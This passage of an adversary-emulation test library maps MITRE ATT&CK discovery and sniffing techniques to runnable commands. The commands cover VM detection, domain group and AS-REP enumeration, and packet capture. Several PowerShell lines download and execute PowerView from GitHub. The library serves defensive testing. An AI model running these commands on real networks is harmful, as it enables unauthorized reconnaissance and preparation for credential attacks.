identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1497/001 external_id: T1497.001 - source_name: Unit 42 OilRig Sept 2018 description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018. url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/ - source_name: McAfee Virtual Jan 2017 description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019. url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/ - source_name: Deloitte Environment Awareness description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021. url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1497.001 atomic_tests: - name: Detect Virtualization Environment (Linux) auto_generated_guid: dfbd1a21-540d-4574-9731-e852bd6fe840 description: | systemd-detect-virt detects execution in a virtualized environment. At boot, dmesg stores a log if a hypervisor is detected. supported_platforms: - linux executor: name: sh elevation_required: true command: | if (systemd-detect-virt) then echo "Virtualization Environment detected"; fi; if (sudo dmidecode | egrep -i 'manufacturer|product|vendor' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo "Virtualization Environment detected"; fi; - name: Detect Virtualization Environment (FreeBSD) auto_generated_guid: e129d73b-3e03-4ae9-bf1e-67fc8921e0fd description: | Detects execution in a virtualized environment. At boot, dmesg stores a log if a hypervisor is detected. supported_platforms: - linux executor: name: sh elevation_required: true command: 'if [ "$(sysctl -n hw.hv_vendor)" != "" ]; then echo "Virtualization Environment detected"; fi ' - name: Detect Virtualization Environment (Windows) auto_generated_guid: 502a7dc4-9d6f-4d28-abf2-f0e84692562d description: 'Windows Management Instrumentation(WMI) objects contains system information which helps to detect virtualization. This command will specifically attempt to get the CurrentTemperature value from this object and will check to see if the attempt results in an error that contains the word supported. This is meant to find the result of Not supported, which is the result if run in a virtual machine ' supported_platforms: - windows executor: name: powershell elevation_required: false command: | $error.clear() Get-WmiObject -Query "SELECT * FROM MSAcpi_ThermalZoneTemperature" -ErrorAction SilentlyContinue if($error) {echo "Virtualization Environment detected"} cleanup_command: "$error.clear()\n" - name: Detect Virtualization Environment (MacOS) auto_generated_guid: a960185f-aef6-4547-8350-d1ce16680d09 description: 'ioreg contains registry entries for all the device drivers in the system. If it''s a virtual machine, one of the device manufacturer will be a Virtualization Software. ' supported_platforms: - macos executor: name: sh elevation_required: false command: 'if (ioreg -l | grep -e Manufacturer -e ''Vendor Name'' | grep -iE ''Oracle|VirtualBox|VMWare|Parallels'') then echo ''Virtualization Environment detected''; fi; ' - name: Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows) auto_generated_guid: 4a41089a-48e0-47aa-82cb-5b81a463bc78 description: "Windows Management Instrumentation(WMI) objects contain system information which helps to detect virtualization. This test will get the model and manufacturer of the machine to determine if it is a virtual machine, such as through VMware or VirtualBox. \n" supported_platforms: - windows executor: name: powershell elevation_required: false command: | $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Manufacturer" $Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Model" if((($Manufacturer.ToLower() -eq "microsoft corporation") -and ($Model.ToLower().contains("virtual"))) -or ($Manufacturer.ToLower().contains("vmware")) -or ($Model.ToLower() -eq "virtualbox")) {write-host "Virtualization environment detected!"} else {write-host "No virtualization environment detected!"} T1069.002: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Permission Groups Discovery: Domain Groups' description: |- Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators. Commands such as net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Harshal Tupsamudre, Qualys - Miriam Wiesner, @miriamxyra, Microsoft Security x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Group: Group Enumeration' - 'Command: Command Execution' - 'Process: OS API Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c created: '2020-02-21T21:15:06.561Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1069/002 external_id: T1069.002 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1069.002 atomic_tests: - name: Basic Permission Groups Discovery Windows (Domain) auto_generated_guid: dd66d77d-8998-48c0-8024-df263dc2ce5d description: | Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed. supported_platforms: - windows executor: command: | net localgroup net group /domain net group "enterprise admins" /domain net group "domain admins" /domain name: command_prompt - name: Permission Groups Discovery PowerShell (Domain) auto_generated_guid: 6d5d8c96-3d2a-4da9-9d6d-9a9d341899a7 description: | Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed. supported_platforms: - windows input_arguments: user: description: User to identify what groups a user is a member of type: string default: "$env:USERNAME" executor: command: 'get-ADPrincipalGroupMembership #{user} | select name ' name: powershell - name: Elevated group enumeration using net group (Domain) auto_generated_guid: 0afb5163-8181-432e-9405-4322710c0c37 description: | Runs "net group" command including command aliases and loose typing to simulate enumeration/discovery of high value domain groups. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain information will be displayed. supported_platforms: - windows executor: command: | net groups "Account Operators" /doma net groups "Exchange Organization Management" /doma net group "BUILTIN\Backup Operators" /doma net group /domai "Domain Admins" name: command_prompt - name: Find machines where user has local admin access (PowerView) auto_generated_guid: a2d71eee-a353-4232-9f86-54f4288dd8c1 description: 'Find machines where user has local admin access (PowerView). Upon execution, progress and info about each host in the domain being scanned will be displayed. ' supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-LocalAdminAccess -Verbose name: powershell - name: Find local admins on all machines in domain (PowerView) auto_generated_guid: a5f0d9f8-d3c9-46c0-8378-846ddd6b1cbd description: 'Enumerates members of the local Administrators groups across all machines in the domain. Upon execution, information about each machine will be displayed. ' supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-EnumerateLocalAdmin -Verbose name: powershell - name: Find Local Admins via Group Policy (PowerView) auto_generated_guid: 64fdb43b-5259-467a-b000-1b02c00e510a description: 'takes a computer and determines who has admin rights over it through GPO enumeration. Upon execution, information about the machine will be displayed. ' supported_platforms: - windows input_arguments: computer_name: description: hostname of the computer to analyze type: path default: "$env:COMPUTERNAME" executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Find-GPOComputerAdmin -ComputerName #{computer_name} -Verbose name: powershell - name: Enumerate Users Not Requiring Pre Auth (ASRepRoast) auto_generated_guid: 870ba71e-6858-4f6d-895c-bb6237f6121b description: 'When successful, accounts that do not require kerberos pre-auth will be returned ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Computer must be domain joined. ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually. ' - description: 'Requires the Active Directory module for powershell to be installed. ' prereq_command: 'if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1} ' get_prereq_command: 'Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" ' executor: name: powershell elevation_required: false command: 'get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE} ' - name: Adfind - Query Active Directory Groups auto_generated_guid: 48ddc687-82af-40b7-8472-ff1e742e8274 description: | Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Groups reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html supported_platforms: - windows input_arguments: optional_args: description: Allows defining arguments to add to the adfind command to tailor it to the specific needs of the environment. Use "-arg" notation to add arguments separated by spaces. type: string default: dependency_executor_name: powershell dependencies: - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe) ' prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") {exit 0} else {exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" executor: command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=group) #{optional_args} ' name: command_prompt - name: Enumerate Active Directory Groups with Get-AdGroup auto_generated_guid: 3d1fcd2a-e51c-4cbe-8d84-9a843bad8dc8 description: | The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps supported_platforms: - windows executor: name: powershell command: 'Get-AdGroup -Filter * ' - name: Enumerate Active Directory Groups with ADSISearcher auto_generated_guid: 9f4e344b-8434-41b3-85b1-d38f29d148d0 description: | The following Atomic test will utilize ADSISearcher to enumerate groups within Active Directory. Upon successful execution a listing of groups will output with their paths in AD. Reference: https://devblogs.microsoft.com/scripting/use-the-powershell-adsisearcher-type-accelerator-to-search-active-directory/ supported_platforms: - windows executor: name: powershell elevation_required: false command: '([adsisearcher]"objectcategory=group").FindAll(); ([adsisearcher]"objectcategory=group").FindOne() ' - name: Get-ADUser Enumeration using UserAccountControl flags (AS-REP Roasting) auto_generated_guid: 43fa81fb-34bb-4b5f-867b-03c7dbe0e3d8 description: | When successful, accounts that do not require kerberos pre-auth will be returned. Reference: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Computer must be domain joined. ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually. ' - description: 'Requires the Active Directory module for powershell to be installed. ' prereq_command: 'if(Get-Module -ListAvailable -Name ActiveDirectory) {exit 0} else {exit 1} ' get_prereq_command: 'Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" ' executor: name: powershell elevation_required: false command: 'Get-ADUser -Filter ''useraccountcontrol -band 4194304'' -Properties useraccountcontrol | Format-Table name ' - name: Get-DomainGroupMember with PowerView auto_generated_guid: 46352f40-f283-4fe5-b56d-d9a71750e145 description: 'Utilizing PowerView, run Get-DomainGroupMember to identify domain users. Upon execution, progress and info about groups within the domain being scanned will be displayed. ' supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroupMember "Domain Admins" name: powershell - name: Get-DomainGroup with PowerView auto_generated_guid: 5a8a181c-2c8e-478d-a943-549305a01230 description: 'Utilizing PowerView, run Get-DomainGroup to identify the domain groups. Upon execution, Groups within the domain will be listed. ' supported_platforms: - windows executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainGroup -verbose name: powershell - name: Active Directory Enumeration with LDIFDE auto_generated_guid: 22cf8cb9-adb1-4e8c-80ca-7c723dfc8784 description: | Output information from Active Directory to a specified file. [Ldifde](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc731033(v=ws.11)) is a CLI tool for creating, modifying and deleting directory objects. The test is derived from the CISA Report on Voly Typhoon. Reference: https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF supported_platforms: - windows input_arguments: output_path: description: Path to the file that ldifde will output type: path default: C:\Windows\temp output_file: description: The filename to be created by ldifde type: string default: atomic_ldifde.txt dependency_executor_name: powershell dependencies: - description: 'PowerShell ActiveDirectory Module must be installed ' prereq_command: | Try { Import-Module ActiveDirectory -ErrorAction Stop | Out-Null exit 0 } Catch { exit 1 } get_prereq_command: | if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) { Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online } else { Install-WindowsFeature RSAT-AD-PowerShell } executor: elevation_required: true command: 'ldifde.exe -f #{output_path}\#{output_file} -p subtree ' cleanup_command: 'del #{output_path}\#{output_file} ' name: command_prompt - name: Active Directory Domain Search Using LDAP - Linux (Ubuntu)/macOS auto_generated_guid: d58d749c-4450-4975-a9e9-8b1d562755c2 description: 'Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory ' supported_platforms: - linux input_arguments: domain: description: The domain to be tested type: string default: example top_level_domain: description: The top level domain (.com, .test, .remote, etc... following domain, minus the .) type: string default: com user: description: username@domain of a user type: string default: user@example.com password: description: password of the user referenced inside user type: string default: s3CurePssw0rD! dependency_executor_name: sh dependencies: - description: 'Packages sssd-ad sssd-tools realmd adcli installed and realm available, ldapsearch ' prereq_command: 'which ldapsearch ' get_prereq_command: 'echo missing ldapsearch command; exit 1 ' executor: elevation_required: false command: "ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b \"CN=Users,DC=#{domain},DC=#{top_level_domain}\" \"(objectClass=group)\" -s sub -a always -z 1000 dn \n" name: sh T1007: technique: modified: '2023-05-09T14:00:00.188Z' name: System Service Discovery description: |- Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Harshal Tupsamudre, Qualys x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - macOS - Linux x_mitre_version: '1.5' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'Process: OS API Execution' type: attack-pattern id: attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa created: '2017-05-31T21:30:21.315Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1007 external_id: T1007 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1007 atomic_tests: - name: System Service Discovery auto_generated_guid: 89676ba1-b1f8-47ee-b940-2e1a113ebc71 description: | Identify system services. Upon successful execution, cmd.exe will execute service commands with expected result to stdout. supported_platforms: - windows executor: command: | tasklist.exe sc query sc query state= all name: command_prompt elevation_required: true - name: System Service Discovery - net.exe auto_generated_guid: 5f864a3f-8ce9-45c0-812c-bdf7d8aeacc3 description: | Enumerates started system services using net.exe and writes them to a file. This technique has been used by multiple threat actors. Upon successful execution, net.exe will run from cmd.exe that queries services. Expected output is to a txt file in in the temp directory called service-list.txt. supported_platforms: - windows input_arguments: output_file: description: Path of file to hold net.exe output type: path default: "%temp%\\service-list.txt" executor: command: 'net.exe start >> #{output_file} ' cleanup_command: 'del /f /q /s #{output_file} >nul 2>&1 ' name: command_prompt - name: System Service Discovery - systemctl/service auto_generated_guid: f4b26bce-4c2c-46c0-bcc5-fce062d38bef description: 'Enumerates system service using systemctl/service ' supported_platforms: - linux executor: command: 'if [ "$(uname)" = ''FreeBSD'' ]; then service -e; else systemctl --type=service; fi; ' name: bash T1040: technique: modified: '2024-04-19T12:32:44.370Z' name: Network Sniffing description: |- Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment. In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) On network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Oleg Kolesnikov, Securonix - Tiago Faria, 3CORESec - Austin Clark, @c2defense - Itamar Mizrahi, Cymptom - Eliraz Levi, Hunters x_mitre_deprecated: false x_mitre_detection: |- Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes. In cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network - IaaS x_mitre_version: '1.6' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_system_requirements: - Network interface access and packet capture driver type: attack-pattern id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529 created: '2017-05-31T21:30:41.399Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1040 external_id: T1040 - source_name: AWS Traffic Mirroring description: Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022. url: https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html - source_name: capture_embedded_packet_on_software description: Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html - source_name: GCP Packet Mirroring description: Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022. url: https://cloud.google.com/vpc/docs/packet-mirroring - source_name: SpecterOps AWS Traffic Mirroring description: Luke Paine. (2020, March 11). Through the Looking Glass — Part 1. Retrieved March 17, 2022. url: https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512 - source_name: Azure Virtual Network TAP description: Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022. url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview - source_name: Rhino Security Labs AWS VPC Traffic Mirroring description: Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022. url: https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/ - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1040 atomic_tests: - name: Packet Capture Linux using tshark or tcpdump auto_generated_guid: 7fe741f7-b265-4951-a7c7-320889083b3e description: | Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed. Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33. supported_platforms: - linux input_arguments: interface: description: Specify interface to perform PCAP on. type: string default: ens33 dependency_executor_name: bash dependencies: - description: 'Check if at least one of tcpdump or tshark is installed. ' prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command -v tshark)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which yum && yum -y install epel-release tcpdump tshark)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n" executor: command: | tcpdump -c 5 -nnni #{interface} tshark -c 5 -i #{interface} name: bash elevation_required: true - name: Packet Capture FreeBSD using tshark or tcpdump auto_generated_guid: c93f2492-9ebe-44b5-8b45-36574cccfe67 description: | Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed. Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33. supported_platforms: - linux input_arguments: interface: description: Specify interface to perform PCAP on. type: string default: em0 dependency_executor_name: sh dependencies: - description: 'Check if at least one of tcpdump or tshark is installed. ' prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command -v tshark)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which pkg && pkg install -y wireshark-nox11)\n" executor: command: | tcpdump -c 5 -nnni #{interface} tshark -c 5 -i #{interface} name: sh elevation_required: true - name: Packet Capture macOS using tcpdump or tshark auto_generated_guid: 9d04efee-eff5-4240-b8d2-07792b873608 description: | Perform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed. Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A. supported_platforms: - macos input_arguments: interface: description: Specify interface to perform PCAP on. type: string default: en0A dependency_executor_name: bash dependencies: - description: 'Check if at least one of tcpdump or tshark is installed. ' prereq_command: 'if [ ! -x "$(command -v tcpdump)" ] && [ ! -x "$(command -v tshark)" ]; then exit 1; else exit 0; fi; ' get_prereq_command: "(which yum && yum -y install epel-release tcpdump tshark)||(which apt-get && DEBIAN_FRONTEND=noninteractive apt-get install -y tcpdump tshark)\n" executor: command: "sudo tcpdump -c 5 -nnni #{interface} \nif [ -x \"$(command -v tshark)\" ]; then sudo tshark -c 5 -i #{interface}; fi;\n" name: bash elevation_required: true - name: Packet Capture Windows Command Prompt auto_generated_guid: a5b2f6a0-24b4-493e-9590-c699f75723ca description: | Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark installed. Upon successful execution, tshark will execute and capture 5 packets on interface "Ethernet". supported_platforms: - windows input_arguments: interface: description: Specify interface to perform PCAP on. type: string default: Ethernet wireshark_url: description: wireshark installer download URL type: url default: https://1.eu.dl.wireshark.org/win64/Wireshark-latest-x64.exe tshark_path: description: path to tshark.exe type: path default: c:\program files\wireshark\tshark.exe npcap_url: description: npcap installed download URL type: url default: https://nmap.org/npcap/dist/npcap-1.31.exe npcap_path: description: path to npcap.sys type: path default: C:\Program Files\Npcap\npcap.sys dependency_executor_name: powershell dependencies: - description: 'tshark must be installed and in the default path of "c:\Program Files\Wireshark\Tshark.exe". ' prereq_command: if (test-path "#{tshark_path}") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\wireshark_installer.exe" #{wireshark_url} Start-Process "PathToAtomicsFolder\..\ExternalPayloads\wireshark_installer.exe" /S - description: 'npcap must be installed. ' prereq_command: if (test-path "#{npcap_path}") {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\npcap_installer.exe" #{npcap_url} Start-Process "PathToAtomicsFolder\..\ExternalPayloads\npcap_installer.exe" executor: command: '"c:\Program Files\Wireshark\tshark.exe" -i #{interface} -c 5 ' name: command_prompt elevation_required: true - name: Windows Internal Packet Capture auto_generated_guid: b5656f67-d67f-4de8-8e62-b5581630f528 description: |- Uses the built-in Windows packet capture After execution you should find a file named trace.etl and trace.cab in the temp directory supported_platforms: - windows executor: command: netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10 cleanup_command: |- netsh trace stop >nul 2>&1 TIMEOUT /T 5 >nul 2>&1 del %temp%\trace.etl >nul 2>&1 del %temp%\trace.cab >nul 2>&1 name: command_prompt elevation_required: true - name: Windows Internal pktmon capture auto_generated_guid: c67ba807-f48b-446e-b955-e4928cd1bf91 description: |- Will start a packet capture and store log file as t1040.etl. https://lolbas-project.github.io/lolbas/Binaries/Pktmon/ supported_platforms: - windows executor: command: | pktmon.exe start --etw -f %TEMP%\t1040.etl TIMEOUT /T 5 >nul 2>&1 pktmon.exe stop cleanup_command: del %TEMP%\t1040.etl name: command_prompt elevation_required: true - name: Windows Internal pktmon set filter auto_generated_guid: 855fb8b4-b8ab-4785-ae77-09f5df7bff55 description: "Select Desired ports for packet capture \nhttps://lolbas-project.github.io/lolbas/Binaries/Pktmon/" supported_platforms: - windows executor: command: 'pktmon.exe filter add -p 445 ' cleanup_command: pktmon filter remove name: command_prompt elevation_required: true - name: Packet Capture macOS using /dev/bpfN with sudo auto_generated_guid: e6fe5095-545d-4c8b-a0ae-e863914be3aa description: 'Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds. ' supported_platforms: - macos input_arguments: ifname: description: Specify interface to perform PCAP on. type: string default: en0 csource_path: description: Path to C program source type: string default: PathToAtomicsFolder/T1040/src/macos_pcapdemo.c program_path: description: Path to compiled C program type: string default: "/tmp/t1040_macos_pcapdemo" dependency_executor_name: bash dependencies: - description: 'compile C program ' 